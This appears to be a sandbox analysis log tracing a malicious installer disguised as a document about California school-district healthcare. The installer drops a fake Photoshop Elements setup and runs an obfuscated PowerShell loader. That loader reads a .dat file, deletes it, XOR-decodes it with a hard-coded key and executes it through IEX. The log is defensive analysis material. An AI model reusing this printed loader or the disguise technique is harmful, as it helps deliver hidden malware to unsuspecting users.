Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganizationJump to behavior
Source: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeString found in binary or memory: /LOADINF="filename"
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeFile read: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeJump to behavior
Source: unknownProcess created: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe "C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe"
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeProcess created: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp "C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp" /SL5="$20408,320672528,821248,C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe"
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COMMAND "IEX([TExt.EnCODING]::Utf8.gETsTrINg((({$f=[iO.fIle]::reAdAllBYTes($aRgS[0]);(rm $aRgS[0]);REturN $F}.InVOKe('C:\usErs\user\aPPdata\LocaL\TeMP\iS-khiOg.TMP\..\A88942a46582B71Dbf2e1eacF7Cbc7f9.dat'))|%{$_ -BXOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpProcess created: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe "C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe"
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeProcess created: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe "C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe" --pipename={7AA9B349-E76F-4F7B-A84C-34DE83BEAAE8} --edtWorkFlow=1
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ims-na1.adobelogin.com/ims/authorize?client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&locale=en_US&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D6fc10679-ad49-4742-b3b1-ec5d2abadd12%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=2228,i,6509428427819271930,2638859979809800324,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2244 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --video-capture-use-gpu-memory-buffer --no-subproc-heap-profiling --field-trial-handle=5680,i,6509428427819271930,2638859979809800324,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=6056 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --no-subproc-heap-profiling --field-trial-handle=5912,i,6509428427819271930,2638859979809800324,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=3520 /prefetch:8
Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeProcess created: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp "C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp" /SL5="$20408,320672528,821248,C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COMMAND "IEX([TExt.EnCODING]::Utf8.gETsTrINg((({$f=[iO.fIle]::reAdAllBYTes($aRgS[0]);(rm $aRgS[0]);REturN $F}.InVOKe('C:\usErs\user\aPPdata\LocaL\TeMP\iS-khiOg.TMP\..\A88942a46582B71Dbf2e1eacF7Cbc7f9.dat'))|%{$_ -BXOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpProcess created: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe "C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeProcess created: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe "C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe" --pipename={7AA9B349-E76F-4F7B-A84C-34DE83BEAAE8} --edtWorkFlow=1
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ims-na1.adobelogin.com/ims/authorize?client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&locale=en_US&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D6fc10679-ad49-4742-b3b1-ec5d2abadd12%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=2228,i,6509428427819271930,2638859979809800324,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2244 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --video-capture-use-gpu-memory-buffer --no-subproc-heap-profiling --field-trial-handle=5680,i,6509428427819271930,2638859979809800324,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=6056 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --no-subproc-heap-profiling --field-trial-handle=5912,i,6509428427819271930,2638859979809800324,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=3520 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeSection loaded: netapi32.dllJump to behavior
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeSection loaded: netutils.dllJump to behavior
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeSection loaded: edgegdi.dllJump to behavior
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: netapi32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: netutils.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: edgegdi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: wtsapi32.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: winsta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: textinputframework.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: coreuicomponents.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: coremessaging.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: shfolder.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: rstrtmgr.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: ncrypt.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: ntasn1.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: textshaping.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: dwmapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: edputil.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: urlmon.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: iertutil.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: srvcli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: appresolver.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: bcp47langs.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: slc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: sppc.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmpSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: edgegdi.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: msxml3.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: dataexchange.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: d3d11.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: dcomp.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: dxgi.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: twinapi.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: msiso.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: sxs.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: mshtml.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: srpapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: jscript9.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: msimtf.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: resourcepolicyclient.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: d2d1.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: d3d10warp.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: dxcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exeSection loaded: windows.staterepositoryps.dll
